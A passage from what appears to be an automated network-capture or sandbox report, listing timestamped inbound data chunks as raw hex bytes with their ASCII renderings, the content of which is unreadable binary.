04 44 81 32 4a df 0b 5a b3 6d 95 d1 c4 f9 57 e9 e7 56 f7 35 8a 39 b1 f0 f1 cf 19 ca 2e b7 45 25 af 61 0d 2b 27 ca 92 0e 43 c6 6c b8 3f fb 66 a6 96 a4 58 f9 52 ca 43 bd ba fb ea Data Ascii: d tk3G*{sd4^^23 b~otTumR;fCM W{^n%wm">w;r8f_m^f][V/^{h+mqH_w}~WhX B&O?z?!+qlD2JZmWV59.E%a+'Cl?fXRC
2021-12-28 17:13:33 UTC	3263	IN	Data Raw: 07 37 41 99 6a 21 a8 4c 43 d5 77 e3 21 a6 a8 98 62 24 90 ac 35 4b 2a ea 67 9a e0 cb d0 b4 9b fc f3 d5 14 30 18 a4 1e ec fe 1b 80 3c 2c fb ff 80 af a7 45 ec c5 61 77 a4 24 c7 2c 8a 3f 40 a3 78 da 68 28 53 0f 9e 54 98 f4 3d d7 61 2b 8b d7 09 ee ea 48 6f 00 38 79 18 4d c2 38 e6 1a df aa 13 8d 07 6e 29 b9 0a e5 a9 65 9c 1e 97 40 5a 1e 80 52 64 5e f6 80 7b 4e 81 74 d9 ec 9f fb 15 e0 69 06 e8 39 07 75 fd c6 b7 bd e8 82 25 31 93 8e 13 55 89 ec ca aa 6d 66 e4 f0 49 4b 89 7b 55 13 a4 aa d6 1b cd c8 01 bb bf c3 6a 50 b0 63 cc 17 83 d8 db 80 0c 6d 67 80 94 84 29 df a8 a2 2b ff c6 58 28 0d c8 83 02 4e 92 cb b8 d7 ae e1 8e 5d 9c 7b a1 90 72 d5 e7 7f 31 38 af 95 93 0b c1 ff 0e 5f 25 a3 c9 07 a4 3f 8d b2 46 b6 c3 30 b7 61 28 99 60 87 19 77 79 8e ba 30 7a 68 b7 c4 cc 30 Data Ascii: 7Aj!LCw!b$5K*g0<,Eaw$,?@xh(ST=a+Ho8yM8n)e@ZRd^{Nti9u%1UmfIK{UjPcmg)+X(N]{r18_%?F0a(`wy0zh0
2021-12-28 17:13:33 UTC	3279	IN	Data Raw: 4e 66 f8 88 b7 8b 1e 54 1e 96 5a 8b 09 66 96 e9 4f 90 13 ab 66 1e c8 b8 2b e0 b1 34 c2 0b cf ee 72 c5 b6 63 e8 dc 24 6f f1 3b 74 07 f7 6a 29 78 45 79 d0 f6 ee b3 9f f4 f6 05 f7 04 f6 00 cd ad f5 2e a0 fc c9 1a 98 5b 06 9b 4d fc 18 18 c9 e0 6e 8c 63 4b 55 f9 9f 4a 28 26 be fd d4 e8 97 f2 57 16 85 b1 57 2c 22 8b f7 c5 eb 21 6e 75 8e 4c 3b 2b d3 03 f4 80 51 da 73 5b 2e 27 16 55 90 75 dc 62 69 e0 10 66 f2 d0 da 4a 63 ef e9 ad ae fd 6f 14 38 ad 48 e6 f6 f7 1a df 8c ab 59 1c 71 ca a8 2c 27 22 50 0c 51 36 3d 31 8b 17 49 a4 63 5f 39 5f b5 96 14 f7 55 67 27 13 09 e9 c0 cd b1 ae ef 8e fe c2 0f 08 bf 99 61 ee 5c 5b e8 eb 6b b4 bd 1b 30 4e 91 06 5b 30 55 1a c3 a6 ae 1e 12 ac 6d d8 11 bf e9 4d 76 a5 0a 21 29 63 a7 fb db 31 3b b4 51 e2 ff 62 11 a8 f8 e2 78 93 f2 6b 50 Data Ascii: NfTZfOf+4rc$o;tj)xEy.[MncKUJ(&WW,"!nuL;+Qs[.'UubifJco8HYq,'"PQ6=1Ic_9_Ug'a\[k0N[0UmMv!)c1;QbxkP
2021-12-28 17:13:33 UTC	3295	IN	Data Raw: 94 fc df b7 d2 3a d1 a0 23 4d 80 0a c2 f3 c7 68 b3 55 4a e5 b9 20 18 df d3 f6 3a 5a 4b ce f6 82 b1 2f 10 f2 2c 87 b3 47 50 bb bc af f5 c4 69 b4 97 4f a3 44 3f 61 af 68 d6 d4 2b ed f5 00 34 e9 d5 14 68 02 51 17 80 94 8b f9 8b bc 0d ca b2 27 48 3e b3 e1 3e 5f 85 e3 00 63 6a 33 cf 66 4e 8d 59 a7 19 2d a4 9d 2b 63 80 64 93 23 27 dd 14 01 65 cb 2e 25 66 18 cd 7c 2b 6f c0 5e 24 a8 97 33 8c e8 e8 ac a3 f7 dc 72 74 a3 83 42 f1 01 62 ff 75 18 d0 8e 98 1b 74 43 f0 27 2c f9 db 03 27 04 f8 16 ba 73 5f e7 33 5a 72 b1 e9 33 7c 78 fc e4 d7 0e 85 ee 56 f1 6b 24 b5 8e 4d da 47 51 dc 75 c3 e0 99 f2 f0 43 9f c4 12 77 76 e2 8b c5 ed d2 e7 08 d1 dd 28 ef 9b 52 5e 10 b7 4c 9d 90 bf 23 b0 4f 89 e9 fc 87 ea 02 ab 57 cf 88 6e 58 5e d9 05 39 b2 8f d6 f3 58 36 a8 1e d5 f3 ca c0 d3 Data Ascii: :#MhUJ :ZK/,GPiOD?ah+4hQ'H>>_cj3fNY-+cd#'e.%f\|+o^$3rtBbutC','s_3Zr3\|xVk$MGQuCwv(R^L#OWnX^9X6
2021-12-28 17:13:33 UTC	3311	IN	Data Raw: dc a6 e4 0a ca 14 f2 1f 23 e3 9c 5a b0 1f 2a d7 d9 c9 5f b0 9d 49 5c 22 13 4d 7b 5b 2d 90 28 06 52 d9 f6 b4 91 6a c6 1b a4 c6 12 25 2c 5e 5c e2 0b db 1f 17 7b 95 52 07 39 57 fb 4d f0 a8 f9 c1 bc 13 46 27 07 ea c7 6f 88 d3 8f 9f 8e 35 48 d5 d3 65 56 29 89 da ee 09 e1 3f 29 70 1d 83 27 2a 62 4d b2 15 7f 49 ce 62 b7 e8 d5 bb 43 3a 94 2a e7 bf f4 66 8e 3e c8 96 e4 6d 11 1e 0b 77 9c 33 98 43 db 7b 88 5c f5 a3 0b b6 33 2f dc fe 7f e2 dd 4d 63 6e 33 1b 9b 4a c2 ae 9c 0b 29 57 30 cd f4 e3 3c 73 bf a1 61 b1 79 ee 2c 13 99 52 4a fa f0 56 ee 16 0a f2 1c a3 ca 89 6b b8 fe 27 b0 34 08 5b 51 f9 78 b3 77 71 6b 4e c0 d1 45 a6 01 49 db 8e 82 85 c8 7c bc 06 e5 21 c5 59 7b 6c 4e 9f 8b 28 db 8c 31 83 f6 75 5f 97 bd 43 0a c2 b0 ba 21 76 7b d0 3c 83 f9 17 4f 56 18 89 07 39 4d Data Ascii: #Z_I\"M{[-(Rj%,^\{R9WMF'o5HeV)?)p'bMIbC:*f>mw3C{\3/Mcn3J)W0<say,RJVk'4[QxwqkNEI\|!Y{lN(1u_C!v{<OV9M
2021-12-28 17:13:33 UTC	3327	IN	Data Raw: f9 82 ea e2 fc 6b 9a 92 22 e0 05 32 21 48 2f ff ae 7f ad 7a 3e ba 01 64 8c 3b 03 50 98 a4 2a a2 10 49 76 27 c7 e6 03 8a ae e0 2d 42 7e 04 e6 45 ec 20 d6 c8 23 9f f4 d1 0a 61 41 9d 05 26 21 a3 a4 16 78 7a 0d 73 f1 4f 43 53 ce 57 8f a9 ba eb 13 f4 62 ba 6c f8 94 58 41 9d a0 95 43 c0 49 db 8c 1a f8 07 65 f8 33 ef 1e f6 7d cf eb 7f e0 7b cf 13 b7 83 99 bb 4b 38 c4 19 bc 2d b0 8e 15 b8 a4 97 49 07 35 73 4a 74 37 d2 8e 78 75 38 4e cd fe 92 b9 73 79 ce f0 ef 77 73 af 82 e3 7b 8d 41 75 76 cf 8a 47 15 8d 39 08 b3 a0 fe 9e 4b 59 95 e7 66 6c cc e3 c8 9b 1f 04 10 6c 71 f7 f6 d2 ef 5e d1 fd 02 39 53 ab ba ba 13 71 26 4d ce bd 47 3a 2e 76 ed ac 01 00 0d e2 87 4d 55 36 6f 55 90 91 08 a7 0c a7 a5 8c 18 63 d4 76 be 54 b5 2c 84 83 6b 27 78 37 44 01 79 22 94 95 dc da 01 7c Data Ascii: k"2!H/z>d;P*Iv'-B~E #aA&!xzsOCSWblXACIe3}{K8-I5sJt7xu8Nsyws{AuvG9KYfllq^9Sq&MG:.vMU6oUcvT,k'x7Dy"\|
2021-12-28 17:13:33 UTC	3343	IN	Data Raw: 55 9c f6 38 7d 8e 70 51 ab a3 4a e4 67 76 85 b4 7f 44 ea 2b 88 e1 fc 67 fe 08 97 cd 22 cc b0 9f a1 b9 a5 5a ac da bf 3f 51 db 5d c8 e3 62 81 5b 18 78 68 d1 96 3c b4 a5 21 50 7a c8 2b f5 84 5e 77 cc 08 b9 40 95 64 6a 3e 67 57 60 4e 64 18 23 3b 08 1c 85 d1 7e 8d 08 45 11 6b 8a ad 93 75 26 ff 34 a1 68 84 19 74 e6 6b fe 2b 9b 47 80 28 7e 5c 42 bb 68 83 1e b8 1c f8 f2 45 ec 59 47 f0 eb 27 b4 46 1b f0 c1 95 94 53 f0 29 85 c9 1a ba c3 c0 96 b2 09 78 3f d2 e2 00 90 36 8c c6 62 95 fa 8d 6b 6b 0e fc 2b f5 39 e2 bb 7e 0b 25 1f a2 66 93 ef 5b ce 6c f2 54 7d 7c a2 af 80 ae bd d9 6e d4 30 f6 16 8b 4c 86 8d 62 4f f5 62 d9 cd 98 b9 72 3d c4 62 4e 62 de 9b 41 a4 29 1b 7f 4d 9e ec 70 a9 02 33 83 7a 6f 73 f8 fd bb 85 5a be 0d 48 3b 79 f5 8b 51 30 73 5f 0a 7e 19 3e dc b1 db Data Ascii: U8}pQJgvD+g"Z?Q]b[xh<!Pz+^w@dj>gW`Nd#;~Eku&4htk+G(~\BhEYG'FS)x?6bkk+9~%f[lT}\|n0LbObr=bNbA)Mp3zosZH;yQ0s_~>
2021-12-28 17:13:33 UTC	3359	IN	Data Raw: ef 47 75 bc b9 87 c7 da 2d 47 90 e5 ce 9a 60 31 fa ec cf 81 11 db 58 43 95 88 e8 5f de 2d bd a5 27 db d0 9a ef 2d 6d 7e 10 50 e2 92 aa f1 7b c4 2a 65 57 f9 53 c9 3f 2d bf 9c 7a 56 d6 96 cf 90 a2 a3 d1 96 cf b0 f8 49 6a 5c bb 20 38 f0 86 f7 b9 61 4b b9 77 4b 0f d8 1b 45 ca 29 fe ee e4 2e ae f0 b5 fe 1a ba 2c e8 f3 e4 24 01 33 93 d7 02 48 96 9e bd 53 dc 0d db d2 95 f9 fd a9 80 ea 06 5b 87 0a 87 aa a8 42 2b 0b a9 95 03 8e 2e bf 25 e8 1e b0 8f 36 0d 82 aa df 4e 18 e4 15 6f 22 57 d3 f4 42 b6 51 fd bf 00 1d 7b 7b 11 36 7c 0d 9d f3 8c 5b b5 ae c9 9f 7f 50 24 5e 18 88 e8 7e 7c c2 47 de 89 2f 9a 63 06 63 e0 40 46 52 00 85 3e 02 e2 a5 e5 b6 7d a5 53 86 52 43 dc ba 4c f2 75 23 fb 28 bb 58 f4 83 fb 47 33 32 81 e1 33 ef 74 3b 3f 80 ec 1b 61 5d 08 08 78 f7 4c a2 57 f3 Data Ascii: Gu-G`1XC_-'-m~P{*eWS?-zVIj\ 8aKwKE).,$3HS[B+.%6No"WBQ{{6\|[P$^~\|G/cc@FR>}SRCLu#(XG323t;?a]xLW
2021-12-28 17:13:33 UTC	3375	IN	Data Raw: f4 4b 6e 7b 1a f2 81 d9 da ba d9 5c c4 6b 5a 26 27 47 8c 10 b6 ac 62 73 c5 ea f9 fe 4e b7 20 d2 32 3c a0 cf 78 15 b4 80 73 b2 e5 93 78 fa 72 ba b6 f9 67 a4 3e d4 4c f1 b2 9e 1d 5d ab 04 71 0d ca 3f 0e 15 fa 5a fc d2 7b 83 e6 b2 85 89 47 a7 66 d4 72 9a 87 cf cf 3f 6a 95 b9 63 2c 72 3c 1d c6 2b a0 14 bf b5 4f 2e 2f 82 02 3d 77 70 66 fd 21 51 52 2e d7 63 26 43 47 ee fa 56 1c 41 f5 89 dc 96 2b 2a b9 12 2a de 76 b6 8b d3 92 b9 9b 24 f4 3a d0 39 f3 8e 08 07 7b 35 d8 3a 6a 59 94 33 a3 fa 9e 58 c5 93 de b1 27 55 cc ee 84 80 3b 23 d6 33 09 e9 1c 7b a9 53 06 54 28 24 7c 50 11 1b 6d 68 ec a3 04 8b b7 68 88 84 71 da c7 c2 e6 ce e5 2e 6a 59 3a 32 db e8 03 bf 80 ef d6 c3 3d 1f f1 60 ca fa 4c bc 48 7c b7 f9 f5 b1 08 90 f5 a2 e6 4f 3f 56 a2 1b 68 fd bd 5e 8f 37 d4 d8 d1 Data Ascii: Kn{\kZ&'GbsN 2<xsxrg>L]q?Z{Gfr?jc,r<+O./=wpf!QR.c&CGVA+**v$:9{5:jY3X'U;#3{ST($\|Pmhhq.jY:2=`LH\|O?Vh^7
2021-12-28 17:13:33 UTC	3391	IN	Data Raw: 6b 6c 87 eb 7d ee bc 8c a9 3a 3a d1 c7 d7 31 a6 62 7c 02 ac 53 e0 34 ef af 6a 04 02 e5 4d 93 59 02 ce c4 77 5d 50 f5 a5 17 16 14 2b 2d 53 26 94 3d ae 01 37 e7 ff 38 d7 33 d0 55 2e c7 15 06 6a cb 67 c2 81 8d 4e 6f 73 2c 6f b8 f9 22 4b 94 ea 2a c6 5c f4 87 3a 17 5b b2 87 cd c1 c5 20 3e 6e 85 07 42 49 01 ae a1 c4 88 82 03 84 5e 83 06 6a 84 33 7e 28 d0 cc e6 e9 21 1c 3c 1a 31 ae ba 9f 68 4c 5f 0f e1 b8 64 5b 3e 27 92 9e 53 80 d5 9d 1f a0 02 74 60 e0 7e f8 6d e5 86 08 eb cf b5 b8 54 24 56 5c 13 ed 34 84 ea 67 92 a9 09 43 5b b7 cb 28 25 38 82 cd 1c 02 1b 63 a6 ad 44 4d 76 43 04 e4 ea 50 f6 a0 c5 0f 7c 89 76 de ca 8b 1b 84 b0 89 4a 8b c8 9d c0 3f 1a 64 8f 53 79 ce 5e 2b 92 7f 70 80 8d 2c 70 f1 b7 ed a6 b2 37 89 46 2e 3e eb 7f e7 5d a8 0e 16 ea a7 70 33 aa 82 c9 Data Ascii: kl}::1b\|S4jMYw]P+-S&=783U.jgNos,o"K*\:[ >nBI^j3~(!<1hL_d[>'St`~mT$V\4gC[(%8cDMvCP\|vJ?dSy^+p,p7F.>]p3
2021-12-28 17:13:33 UTC	3407	IN	Data Raw: f3 39 ca 1e 30 a5 e5 cb 8c d1 33 a9 b7 68 b3 05 f2 c7 40 31 6f 9e c8 eb 64 64 7f 07 04 28 58 34 5c 4a 4e cc b6 8e 13 cb 50 5b 01 cc e9 cc 5d 6c 3a a2 a1 ce 9f 46 b8 c7 4c 97 2c 58 fd bf 16 14 ea ed 7e e0 83 ba 48 e9 99 ac 35 43 b3 28 1c d8 ca 18 50 f9 d6 46 d1 7d 70 49 47 2e 5e 99 11 84 fe a4 cb 5e ad ea 04 41 1d f7 0b 7b 57 e4 4e d3 a7 a4 2e d8 42 5f a6 95 90 83 31 86 b0 60 1e 9d 56 bb 7c 66 07 47 2f dd 6d 1a 6a ec 16 2d 6f a1 60 79 5b 9a 06 61 c0 e4 36 d9 aa 73 46 be 1b 79 2d 50 99 a2 d0 7a dd 2e 1a c3 8d 91 ce 2d b7 cf e8 fb f6 28 a4 76 42 e0 2a 90 a1 91 df 7c ab 03 f5 77 dd e7 d1 7b c8 d2 d1 c8 53 7c 84 65 27 c3 6b f6 c0 d9 e5 c7 27 62 c8 23 b9 10 63 27 c1 c6 0a 14 46 62 51 63 7e 15 89 19 14 a3 f6 ae 76 85 2c 4e 1d e3 c3 f0 42 f4 f2 ba b5 f3 1d 72 a9 Data Ascii: 903h@1odd(X4\JNP[]l:FL,X~H5C(PF}pIG.^^A{WN.B_1`V\|fG/mj-o`y[a6sFy-Pz.-(vB*\|w{S\|e'k'b#c'FbQc~v,NBr
2021-12-28 17:13:33 UTC	3423	IN	Data Raw: dc 29 9e ac 6c 74 80 e6 1c cc af 41 71 98 13 1c df e2 5f f1 06 ab b7 3d e6 24 07 a1 31 57 85 90 0f 29 31 d2 46 d1 ac 00 26 c4 9f 88 7f 4e 5e a8 ee 54 e6 12 64 08 0f 9e 5e a0 1d 60 51 6a d4 f7 c6 a0 0c 03 33 ed 65 8d a4 26 24 22 83 1f a2 06 61 35 38 1c 20 77 8d bf dd e9 52 66 c7 db bf 62 32 95 3d a2 67 e2 36 51 a8 4f 00 2a d7 86 2e 9f 2e 87 6a 13 1f da 56 8f 97 88 d0 77 03 dc 64 78 b1 bc 93 f1 04 69 43 e9 4a 24 19 3f 77 f8 91 d9 c3 38 f0 cf 18 2c e7 2a 0f 34 12 56 da 86 df 4a 46 e3 34 04 88 3d ee f7 31 8b ff 06 05 e9 89 2b de ce ed d5 77 7e 89 65 d6 e3 18 12 f3 f5 fa 7d 6f 7f 14 1c 40 6c c9 cc 4c b8 5e bc fc 8a 5c 61 58 34 99 47 74 89 a8 c6 eb f1 fc 22 e8 db d8 ba b8 37 64 49 2c 2e 1d 0d 0c eb 97 53 11 b6 6f b6 78 79 ab 37 84 35 e9 17 55 97 33 00 96 a9 96 Data Ascii: )ltAq_=$1W)1F&N^Td^`Qj3e&$"a58 wRfb2=g6QO..jVwdxiCJ$?w8,4VJF4=1+w~e}o@lL^\aX4Gt"7dI,.Soxy75U3
2021-12-28 17:13:33 UTC	3439	IN	Data Raw: 0d 3a f3 85 ab 0c 2a bf b3 a3 c2 43 0f 72 68 b3 6d 00 7c 56 3f 05 3c df 0e 60 24 10 86 3b 7e 16 17 b2 97 c4 98 14 66 f2 4d 80 e3 e0 9d 61 d3 7a d3 f9 5f 2f c4 98 c2 28 ac 20 39 d5 d3 ea 18 92 38 8c bd cc 37 7c 3f ec ca 3e 46 4f 15 7d 9e d4 32 2b ca 49 89 95 2a cf fc 1c ba 98 cd 71 84 bf fc 0f ce 3f 14 25 73 5b c1 67 e8 28 72 9a c7 5b 52 4f 19 b4 d7 ba 9e e3 d2 fd 2a 75 72 ee 3f 93 a4 e3 3f 4b ce c2 ff 0a 81 e5 34 91 a4 d5 e4 fd d8 b7 73 08 46 80 2f 72 4e 03 3f 68 b0 cc 43 d6 79 81 90 b0 39 fa 20 ef ab 1a b2 5f 85 99 20 13 59 19 5c 8f 9d ea b3 bb b8 37 6f ae 2f b1 20 cd 08 e0 44 2a 00 63 ab ea 75 83 f3 35 c1 9a 5e ee ca 61 96 8c ee a9 6f cf 4c a1 4b 24 b3 2a 68 30 89 ef f7 95 3b d1 ea d7 a4 3d be 08 7e 21 e1 57 1e 0e 74 19 03 80 40 34 6a 27 de 91 d3 84 9d Data Ascii: :Crhm\|V?<`$;~fMaz_/( 987\|?>FO}2+Iq?%s[g(r[ROur??K4sF/rN?hCy9 _ Y\7o/ Dcu5^aoLK$*h0;=~!Wt@4j'
2021-12-28 17:13:33 UTC	3455	IN	Data Raw: 3e 06 ae c7 a3 b9 b2 46 6e 8a ae ff 1b 22 3a a7 45 c3 7b 1b 97 07 d6 63 0f b0 46 fc ee e8 74 1a 69 fe 59 6b 1e 37 d6 dd bd 6c 19 b6 c1 8b 55 b2 bf 9a fc 93 78 5d 62 c4 1f fa ff 61 f4 28 56 4e 68 56 22 45 14 6d d8 af f7 37 99 ce 40 24 90 ea 37 ab 1a 40 6a 70 33 fb aa 17 de a3 53 7a 62 fd 6a 04 9b 05 94 99 15 46 af 0b 17 52 7b d1 be cc 3c 96 a4 37 c7 18 62 f0 5f 8d b4 66 8b e9 1e 9c 7b 33 ff ca a8 cc 1f 63 e6 8c 4a 89 05 45 6b 93 27 e4 ec 47 ae 45 24 83 2e 77 ac 2b 46 89 73 3b 26 46 6d 0a be 6b cd 1b c9 60 2b 02 dc a8 3b f2 95 4a 1a 22 68 5f 1a 4f 10 7f 59 4b e1 f2 8f 62 02 7e 09 cb ef 61 70 07 99 25 59 c7 ad 2a ea a5 4f ea 2f a9 69 83 a6 d0 1d b4 66 22 d8 ab 3a 18 01 f1 a2 57 a9 5e eb 14 8d f4 04 2a 86 5f 30 84 88 bf f5 33 78 08 a0 3b ee b1 ac 70 45 10 96 Data Ascii: >Fn":E{cFtiYk7lUx]ba(VNhV"Em7@$7@jp3SzbjFR{<7b_f{3cJEk'GE$.w+Fs;&Fmk`+;J"h_OYKb~ap%YO/if":W^_03x;pE
2021-12-28 17:13:33 UTC	3471	IN	Data Raw: 0c 36 88 1a 0c 5c 90 b3 13 7f 18 e2 bb b4 55 4a aa 3e 71 24 e0 9c 16 74 14 ae 37 70 0c d7 41 64 c6 d2 65 32 eb 06 8a 22 2e 62 db 5f ad df a5 d5 ea 18 87 d0 d9 f3 9b 4a 0c e7 05 8d 7d e4 21 ad 86 45 a8 21 7a 44 6a 97 5b 14 2a 34 85 64 4d 06 6f 5a d3 f0 f6 03 7f 07 d4 fa 3c a0 58 29 d5 02 dc 41 2f 30 1c c1 2d ba f4 17 98 16 a8 b2 ff 6e 19 b2 d8 4d 07 97 28 b5 7a b0 2f 9d a5 da b2 0a 7d 7f 93 b5 b1 69 41 c7 de da af 68 11 a6 c9 4c 39 1f d2 84 7d 27 7e 44 90 5f c0 7b 2c 1a 95 3a bd 64 30 44 3a d4 75 0c b9 04 6c 96 6a 7d 49 79 9c 7c 60 f5 64 52 59 08 5b 7c ce 8b e6 74 3a 83 5b ba db ab 8a 90 ae 90 38 16 1c 87 c5 5f c7 69 39 0d 2d df 60 1f ad 54 98 33 c3 08 a4 39 cd 8c a9 40 9d ce 51 40 b0 3d 96 ec 78 48 b7 cc 81 21 5e a4 45 c3 c2 28 eb 49 20 2f 93 94 8e 8f 4f Data Ascii: 6\UJ>q$t7pAde2".b_J}!E!zDj[*4dMoZ<X)A/0-nM(z/}iAhL9}'~D_{,:d0D:ulj}Iy\|`dRY[\|t:[8_i9-`T39@Q@=xH!^E(I /O
2021-12-28 17:13:33 UTC	3487	IN	Data Raw: 4d 94 f9 3f 43 cc b2 28 09 b4 5e 2a d9 f8 cd e6 75 57 d7 a6 96 ff d1 04 2c 4e ad 87 77 9a 67 5b b0 ae 43 a5 0f 99 be 0c 9f 0d 3c 3e 1f bd 20 bc b5 ba 1c fe a9 2b 85 11 30 a5 88 3f b1 f5 c9 2d 2d 86 00 ed 26 d1 6a fa b7 93 f4 1a 06 5c 20 3d 58 95 41 35 b7 5b 8a d7 31 df a3 1d f9 cf 10 ae c2 05 67 d1 cd c8 59 e2 01 af d5 c1 6b a6 38 c6 7b 3e 9f 42 31 f1 78 72 41 67 15 82 e8 57 f5 c2 84 e8 03 53 66 ed 22 93 b1 9d 9b e1 ae ad 3a 8f a4 0b 76 b8 c1 c4 ac 34 0e af 2f 6f db 76 15 f4 00 3a 78 7f ab 0a 86 68 6d 8e 32 c1 d8 d4 b5 80 e8 bb 81 a0 f0 4b 63 e3 57 99 23 fe 87 56 8d 1e c3 50 da e0 16 c6 fc f1 9c 82 39 a6 89 66 78 c8 ea 3e 73 95 42 4e 71 19 c2 d5 f3 b0 46 c5 44 7b 0b da 3c 21 0f 0c dc 4a 0a f8 61 f8 49 f5 4b c3 8d ca 2a cc 34 80 9e 22 29 ff f7 d8 92 f7 17 Data Ascii: M?C(^uW,Nwg[C<> +0?--&j\ =XA5[1gYk8{>B1xrAgWSf":v4/ov:xhm2KcW#VP9fx>sBNqFD{<!JaIK4")
2021-12-28 17:13:33 UTC	3503	IN	Data Raw: f9 a0 dc 74 a8 fe 82 68 ee f3 16 e2 27 3f d2 44 c9 2c 59 92 9b de 1b 4e 47 d0 69 13 0e 40 d5 18 23 8e 9a a1 d5 4d 54 9c 6e 3d 25 b6 2c d9 cb 5f 94 a0 93 9a f5 07 80 2c 0a 5c 67 1e 9c 92 b5 5f 17 6e 8b 50 00 61 3c 74 b9 18 40 77 e3 8f af 99 bb 5f 9b 71 0f d0 71 50 84 43 73 c7 f9 9b 10 29 7f 78 fe 59 71 92 f5 25 9b e2 dd da 9b db 94 3d 36 9c a8 67 da c1 b9 8a 46 cb 69 78 cd 1a ea 74 71 be 23 c7 c5 b4 46 97 81 b0 85 2a 8a d6 09 93 c6 f3 ab e7 4f 99 c7 b9 3f 1e c1 4c 96 d8 c0 6f 52 2d fa 49 c4 19 8e 31 8c 58 1a 44 4a ca b3 cf 36 3a d7 54 d9 39 6e b1 6a 2c 58 e0 5c 27 92 89 84 21 88 2b a2 0e 7d f6 2f dc 6b 2e a1 61 2a a0 4e 16 d0 f3 95 88 c0 c3 7e cf 42 5d 37 e1 00 ca f1 0f b8 9d fa 5e ea c4 76 5c 58 6d 39 7b 8e 9e ed 00 31 8a a1 a2 49 b5 83 79 ca 04 52 f6 9a Data Ascii: th'?D,YNGi@#MTn=%,_,\g_nPa<t@w_qqPCs)xYq%=6gFixtq#FO?LoR-I1XDJ6:T9nj,X\'!+}/k.aN~B]7^v\Xm9{1IyR
2021-12-28 17:13:33 UTC	3519	IN	Data Raw: 84 27 c0 e6 27 d8 a8 69 8a ac b8 3c ea 98 06 c9 de d9 66 11 11 ba 6d 9d bf b2 05 35 4d e0 cb d5 e2 58 30 bc 73 52 84 7d 21 7d c0 f8 e0 e9 03 31 3b 58 f1 e3 7e 2a 82 3f ba e6 f1 1e 7f 37 73 d6 99 9a fb d5 3e a0 6c e9 51 ba 57 2c 79 b7 87 66 eb 70 20 72 40 f3 c0 d5 27 49 2f ed 02 0e f4 37 d6 be 31 bf e3 0c 76 41 89 da 1e 96 0a c9 be 2b f0 02 36 88 4c 97 f5 b4 36 59 a9 0c e3 a6 21 6e f3 b4 cd c0 4c ec b2 05 77 4c 83 03 f6 42 69 10 ad 43 ce d9 98 30 d4 08 c3 ed 00 b3 9d ce ca 3e 27 81 b3 15 c2 e3 7b 70 81 7a e4 e8 1c ea f8 93 df c2 05 29 e0 8b c6 41 0e ec 7c 46 49 a4 9f 4c c3 d4 5b aa c5 a9 01 81 a9 01 5c fc 5a 07 fd df bc e6 3c c0 1b f4 43 51 1f 98 80 4c 59 38 c6 28 92 1f 7d 2b 04 32 b1 a0 ed 47 3d 96 09 57 ca 8e 19 95 15 e3 1c 55 2b c5 0e 7a 81 ca c3 0e 06 Data Ascii: ''i<fm5MX0sR}!}1;X~*?7s>lQW,yfp r@'I/71vA+6L6Y!nLwLBiC0>'{pz)A\|FIL[\Z<CQLY8(}+2G=WU+z
2021-12-28 17:13:33 UTC	3535	IN	Data Raw: 0c 66 fd bd 08 3d 3f d5 ef d7 44 cc fe 4c 72 93 5d cd e3 95 98 a4 1c 44 95 00 cc 58 6a 71 dd 79 fd 88 6f ae 98 b0 3d 19 7a 64 89 01 c5 54 7e 63 52 9d d2 ed a0 51 3a 97 f7 5e 34 35 f4 12 67 2a 9b ac 12 9d d0 84 45 7e f6 f3 6e 46 cc 93 27 ee fa cb b6 6a 38 14 a0 51 20 56 e5 69 3b 6a b4 30 94 76 68 af 53 6b b3 17 56 e9 3a bd fe b6 f4 48 ae 4d 1b 9b ea b5 e4 b2 d7 eb 2c ad cc 26 ed 03 a7 f1 9b be db ea 23 b3 9d 56 e2 ad 7c c8 25 92 b7 ad fc 98 6b 9c 99 02 a2 e3 e9 cf 87 b8 8e d7 bc 02 dc c9 b5 03 71 c5 27 78 f2 0f 5f 34 15 d9 fc 29 8a 9c db 3a cd ab 90 70 8c 1b ab 60 7d f1 f3 2c 5a 07 7b f8 f4 e9 9f ad 39 2e d6 c9 f3 85 31 e4 58 8b 7d 49 7e 8e 3d b6 f3 88 4d 02 c5 de 10 df f9 db 3f 74 99 d1 90 48 ed d7 5a d1 1f 81 1c 04 64 8b 8b ef ea 0e 87 f0 a9 6a cb 37 dc Data Ascii: f=?DLr]DXjqyo=zdT~cRQ:^45g*E~nF'j8Q Vi;j0vhSkV:HM,&#V\|%kq'x_4):p`},Z{9.1X}I~=M?tHZdj7
2021-12-28 17:13:33 UTC	3551	IN	Data Raw: bc 5a b2 fc c4 60 d2 fc a1 d0 d2 1c 48 10 73 91 c6 a2 bb e1 a3 c7 e1 b4 e1 e7 78 db 5e 56 a4 ad ba b3 8d 0e d8 a6 be cc d1 cf 0a ba 68 16 39 66 f2 79 40 27 2e fb 97 be ce ed 18 eb b1 d1 ba e2 58 ef bd 89 a2 3f 9d a3 96 8d 13 56 13 50 06 21 d8 67 14 0b 4d fd 1f 03 20 3b c7 03 fd 76 9a d2 3a d0 ed ea 99 c6 91 6e be 99 77 f1 1e 80 41 ee c2 48 d9 a0 07 7b 81 da 64 60 a1 86 10 09 59 f9 81 22 0b 09 46 85 53 8c 55 76 af c3 bc f1 18 7d a7 81 ec ea a2 f6 62 c0 17 d2 5b fd 98 12 d8 85 e2 be eb b5 a2 c7 70 18 fa 4c 8f 53 49 d3 7c 2a de 63 7c 54 1b be 97 88 37 37 cc fb 8b 35 50 9d 6e b9 2d 0a ff fb d7 bb e4 2d 23 ea ac 2f 29 50 3f 62 bb 54 28 e4 9a 1b 03 fa a3 52 ef 42 1e da 40 35 01 96 9b 5b 4e a4 ea 74 ba e2 a6 f6 35 0c 05 ba 6f a8 6c 62 2e 5c 82 69 c9 aa 44 fe 07 Data Ascii: Z`Hsx^Vh9fy@'.X?VP!gM ;v:nwAH{d`Y"FSUv}b[pLSI\|*c\|T775Pn--#/)P?bT(RB@5[Nt5olb.\iD
